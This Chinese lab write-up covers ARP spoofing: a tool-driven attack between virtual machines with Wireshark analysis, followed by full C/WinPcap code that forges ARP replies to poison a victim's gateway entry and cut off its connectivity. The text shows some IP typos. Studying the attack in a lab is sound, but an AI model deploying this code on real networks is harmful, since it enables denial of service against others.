编码实现ARP欺骗攻击

孤街浪徒 提交于 2020-02-20 17:54:40

目录

 

总言

一、工具攻击

(一)目的

(二)平台及工具

(三)步骤及结果分析

1、准备工作

2、禁止上网攻击

3、定时IP冲突攻击

4、不断IP冲突攻击

5、总结

二、编码实现

(一)方案

(二)步骤及结果分析

1、建立工程、并配置winpcap。

2、查看宿主机和虚拟机IP地址和MAC地址。

3、代码:

4、攻击效果

5、结果分析


总言

首先使用攻击工具进行攻击,根据抓包结果,分析ARP欺骗实验的原理。然后根据原理,进行编码实现ARP欺骗攻击。

一、工具攻击

(一)目的

运行WinArpAttacker或Ettercap,扫描在线主机,对目标主机进行“禁止上网”、“IP冲突”等攻击,查看目标主机状态,通过WireShark等抓包工具,捕获ARP欺骗攻击的数据包,分析ARP攻击的原理。

(二)平台及工具

VMware、WinArpAttacker、WireShark。

(三)步骤及结果分析

本次工具攻击在VMware的两个桥接模式的虚拟机(虚拟机一和虚拟机二)上完成。在一台虚拟机上通过WinArpAttacker对另一台虚拟机进行了“禁止上网”、“定时IP冲突攻击”和“不断IP冲突”攻击,并通过WireShark抓包工具捕获ARP欺骗攻击的数据包,根据结果对ARP攻击的原理进行了分析。

1、准备工作

启动虚拟机,打开命令行程序cmd.exe,用ipconfig命令查看虚拟机IP信息,并用ping命令检测两个虚拟机能否正常通信。操作结果及其说明如下图所示:

                                                                                                图一

                                                                                               图二

由图一和图二可知:

1、虚拟机一的IP地址是:10.28.227.235;子网掩码是255.255.128.0;默认网关是:10.28.128.1。虚拟机二的IP地址是:

     10.28.131.228;子网掩码是255.255.128.0;默认网关是:10.28.128.1。

2、由子网掩码和IP地址可知,两个虚拟机在同一网段。

3、由ping命令的执行结果可知,两台虚拟机器能够相互通信。

2、禁止上网攻击

(1)打开虚拟机二上的winArpAttacker,扫描指定网段找到虚拟机一,准备对其进行攻击。打开虚拟机一上的wireshark抓包工具,在过滤器输入框中输入“arp”,准备抓取ARP包。具体操作如下图所示:

                                                                                                     图三

                                                                                                     图四

                                                                                                      图五

对于图三,由于虚拟机一的IP地址已知,所有可以在特定网段或者对特定IP地址进行扫描。对于图四,在扫描结果中选定要攻击的目标。对于图五,在Filter中输入arp来抓取固定类型的数据包。

(2)在winArpAttacker中选择“禁止上网”攻击,对被攻击机器的wireshark抓包工具的抓包结果进行分析。具体操作效果如下图。

                                                                                                      图六 

                                                                                                     图七 

                                                                                                      图八

对于图六,在受到“禁止上网”攻击之后,抓包工具抓到两个ARP欺骗包:“10.28.277.235 is at 01:01:01:01:01:01”和“10.28.128.1 is at 01:01:01:01:01:01”。由图一可知,10.28.277.235是被攻击机器的IP地址,10.28.128.1是网关地址。又知01:01:01:01:01:01是一个不存在的MAC地址。所以这两个ARP欺骗数据包所描述的被攻击主机和网关的MAC地址是不存在的MAC地址。但由于ARP协议的无状态和无确认机制,被攻击主机和网关会把错误的IP/MAC映射更新到自己的ARP缓存中,从而造成被攻击主机和网关无法通信。其详细分析如下。

  对于图七,是“10.28.128.1 is at 01:01:01:01:01:01”的详细内容。由图可知,接收方的MAC地址是00:0c:29:c5:a2:63,即ARP欺骗数据包的接收方是被攻击主机。在ARP协议报文中,Sender MAC address是01:01:01:01:01:01、Sender IP address是10.28.128.1。又知10.28.128.1是网关地址,01:01:01:01:01:01是不存在的MAC地址。所以,被攻击主机会把错误的映射10.28.128.1/01:01:01:01:01:01写入ARP缓存。换句话说,这条ARP欺骗数据包使被攻击主机把错误的网关IP/MAC地址映射写入了ARP缓存,从而使被攻击主机无法发送数据包到网关。

对于图八,是“10.28.277.235 is at 01:01:01:01:01:01”的详细内容。由图可知,接收方的MAC地址是74:85:c4:11:20:01,即ARP欺骗数据包的接收方是默认网关。在ARP协议报文中,Sender MAC address是01:01:01:01:01:01、Sender IP address是10.28.227.235。又知10.28.227.235是被攻击主机的地址,01:01:01:01:01:01是不存在的MAC地址。所以,网关会把错误的映射10.28.227.235/01:01:01:01:01:01写入ARP缓存。换句话说,这条ARP欺骗报数据包使网关把错误的被攻击主机IP/MAC地址映射写入了ARP缓存,从而使网关无法向被攻击的主机发送数据包。

3、定时IP冲突攻击

(1)winArpAttacker的扫描、被攻击主机的wireshark的设置与上面相同,不再赘述。

(2)在winArpAttacker中选择“定时IP冲突”攻击,对被攻击机器的wireshark抓包工具的抓包结果进行分析。具体操作效果如下图。

                                                                                               图九

                                                                                               图十

对于图九,在受到定时IP冲突之后,被攻击主机系统桌面弹出“IP地址与网络上的其他系统有冲突”的系统错误警告。抓包工具抓到一个“Gratuitous ARP for 10.28.227.235(Reply)”。大体意思是被攻击主机收到一个“无理”的ARP回复数据包。其具体内容如图十所示。

对于图十,攻击工具给被攻击主机发送了一个欺骗ARP数据包,其Sender MAC address是01:01:01:01:01:01,Sender IP address是10.28.227.235。因此,被攻击主机要把此映射更新到自己地ARP缓存。因为被攻击主机IP是10.28.227.235,MAC地址是00:0c:29:c5:a2:63,与ARP数据包内容不符,所以被攻击主机在更新ARP缓存的同时,错误地认为自己的IP和网络上的另一个系统的IP冲突。

4、不断IP冲突攻击

不断IP冲突工具的效果如下:

                                                                                                     图十一

   在受到不断IP冲突攻击之后,被攻击主机连续收到大量“Gratuitous ARP for 10.28.227.235(Reply)”,其与定时IP冲突攻击的区别是,定时IP冲突只收到一个ARP欺骗数据包,而连续IP冲突是连续收到大量的ARP欺骗数据包。

5、总结

综上,ARP欺骗攻击利用ARP协议无状态和无确认机制的特点,通过向被攻击主机发送错误的网关IP/MAC映射(MAC地址不存在)、向网关发送错误的被攻击主机的IP/MAC映射(MAC地址不存在)等手段,实现目标主机的禁止上网、IP冲突等攻击。

二、编码实现

(一)方案

本程序基于winpcap,实现ARP Reply Spoofing攻击。其具体的实现思路是,构造虚假的ARP响应数据包,其协议地址是网关IP,MAC地址是不存在的虚假地址,将此欺骗数据包发送给欲欺骗主机,那么主机就会将错误内容更新到自己的ARP缓存,所以主机向网关发送的数据包都将会丢失,从而实现了拒绝服务攻击。

(二)步骤及结果分析

1、建立工程、并配置winpcap。

(1)打开“项目属性->配置属性->c/c++->预处理器->预处理器定义”,在其中添加WPCAP和HAVE_REMOTE这两个宏定义。

 (2)在“项目属性->配置属性->链接器->输入->附加依赖项”添加wpcap.lib库。

(3)在“项目属性->配置属性->VC++目录->包含目录”和“…->库目录”分别添加之前解压的WinPcap开发包Include目录和Lib目录路径。

2、查看宿主机和虚拟机IP地址和MAC地址。

3、代码:

   (1)结构体定义

typedef struct _eth_header {
	unsigned char dst_mac[MAC_LEN];
	unsigned char src_mac[MAC_LEN];
	unsigned short type;
} ETH_HEADER;

typedef struct _arp_header {
	unsigned short hardware_type;
	unsigned short protocol_type;
	unsigned char hardware_len;
	unsigned char protocol_len;
	unsigned short option;
	unsigned char src_mac[MAC_LEN];
	unsigned long src_ip;
	unsigned char dst_mac[MAC_LEN];
	unsigned long dst_ip;
}ARP_HEADER;

typedef struct _arp_packet {
	ETH_HEADER eth_header;
	ARP_HEADER arp_header;
}ARP_PACKET;

(2)攻击的实现

#include<iostream>
using namespace std;
#include <pcap.h>
#include<arp_reply_spoofing.h>
#pragma comment(lib,"ws2_32.lib")

void InitARPHeader(u_char*);

const char* srcip = "10.28.193.3";
u_char SRC_MAC[MAC_LEN] = {0x58,0x00,0xE3,0xF2,0x51,0x4F };//58-00-E3-F2-51-4F
const char* victimip = "10.28.184.218";
u_char VICTIM_MAC[MAC_LEN] = { 0x00,0x0C,0x29,0xC5,0xA2,0x63 };//00-0C-29-C5-A2-63
const char* getwayip = "10.28.128.1";
u_char FAKE_MAC[MAC_LEN] = { 0x01,0x01,0x01,0x01,0x01,0x01 };

int  main()
{
	pcap_t* fp;
	char errbuf[PCAP_ERRBUF_SIZE];
	u_char packet[100];
	pcap_if_t* alldevs;
	pcap_if_t* d;
	int inum;
	int i = 0;


	/* 检测网卡 */
	if (pcap_findalldevs(&alldevs, errbuf) == -1)
	{
		fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
		exit(1);
	}
	/* 打印网卡 */
	for (d = alldevs; d; d = d->next)
	{
		printf("%d. %s", ++i, d->name);
		if (d->description)
			printf(" (%s)\n", d->description);
		else
			printf(" (No description available)\n");
	}
	if (i == 0)
	{
		printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
		return 1;
	}

	printf("Enter the interface number (1-%d):", i);
	scanf("%d", &inum);
	if (inum < 1 || inum > i)
	{
		printf("\nInterface number out of range.\n");
		/* 释放 */
		pcap_freealldevs(alldevs);
		return 2;
	}
	/* 选择 */
	for (d = alldevs, i = 0; i < inum - 1; d = d->next, i++);
	/* 打开输出设备 */
	if ((fp = pcap_open_live(d->name,	// name of the device
		100,			// portion of the packet to capture. 
		// 65536 grants that the whole packet will be captured on all the MACs.
		1,				// promiscuous mode (nonzero means promiscuous)
		1000,			// read timeout
		errbuf			// error buffer
	)) == NULL)
	{
		fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
		return 3;
	}
	else {
		printf("打开成功!\n");
	}
	//把以太网头复制到缓冲区
	for (int i = 0;i < 6;i++) packet[i] = VICTIM_MAC[i];
	for (int i = 6;i < 12;i++) packet[i] = SRC_MAC[i-6];
	packet[12] = 0x08;
	packet[13] = 0x06;
	//填充ARP头的部分
	InitARPHeader(packet + 14);
	//填充剩余部分
	for (int i = 42; i < 100; i++)
	{
		packet[i] = i ;
	}
	for(int i=0;i<100;i++)
		cout << hex << (int)packet[i] << " ";
	cout << endl;
	/* 发送数据包 */
		if (pcap_sendpacket(fp, packet, 42) != 0)
		{
			fprintf(stderr, "\nError sending the packet: \n", pcap_geterr(fp));
			return 3;
		}
		printf("发送成功!\n");

	return 4;
}

void InitARPHeader(u_char* tmpBuf) {
	ARP_HEADER arp_header;
	int arpsize = sizeof(ARP_HEADER);
	arp_header.src_ip = inet_addr(getwayip);
	for (int i = 0;i < 6;i++) arp_header.src_mac[i] = FAKE_MAC[i];
	arp_header.dst_ip = inet_addr(victimip);
	for (int i = 0;i < 6;i++) arp_header.dst_mac[i] = VICTIM_MAC[i];
	arp_header.hardware_type = htons(0x0001);
	arp_header.protocol_type = htons(0x0800);
	arp_header.hardware_len = 6;
	arp_header.protocol_len = 4;
	arp_header.option =htons(0x0002);
	memcpy(tmpBuf, &arp_header.hardware_type, 2);
	memcpy(tmpBuf+2, &arp_header.protocol_type, 2);
	memcpy(tmpBuf + 4, &arp_header.hardware_len, 1);
	memcpy(tmpBuf + 5, &arp_header.protocol_len, 1);
	memcpy(tmpBuf + 6, &arp_header.option, 2);
	memcpy(tmpBuf + 8, &arp_header.src_mac, 6);
	memcpy(tmpBuf + 14, &arp_header.src_ip, 4);
	memcpy(tmpBuf + 18, &arp_header.dst_mac, 6);
	memcpy(tmpBuf + 24, &arp_header.dst_ip, 4);
}

4、攻击效果

5、结果分析

如上图,在ARP协议报文中,Sender MAC address是01:01:01:01:01:01、Sender IP address是10.28.128.1。又知10.28.128.1是网关地址,01:01:01:01:01:01是不存在的MAC地址。

所以,被攻击虚拟机会把错误的映射10.28.128.1/01:01:01:01:01:01写入ARP缓存。换句话说,这条ARP欺骗报数据包使被攻击主机把错误的网关IP/MAC地址映射写入了ARP缓存,从而使数据包无法发送到网关,进而实现拒绝服务攻击。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!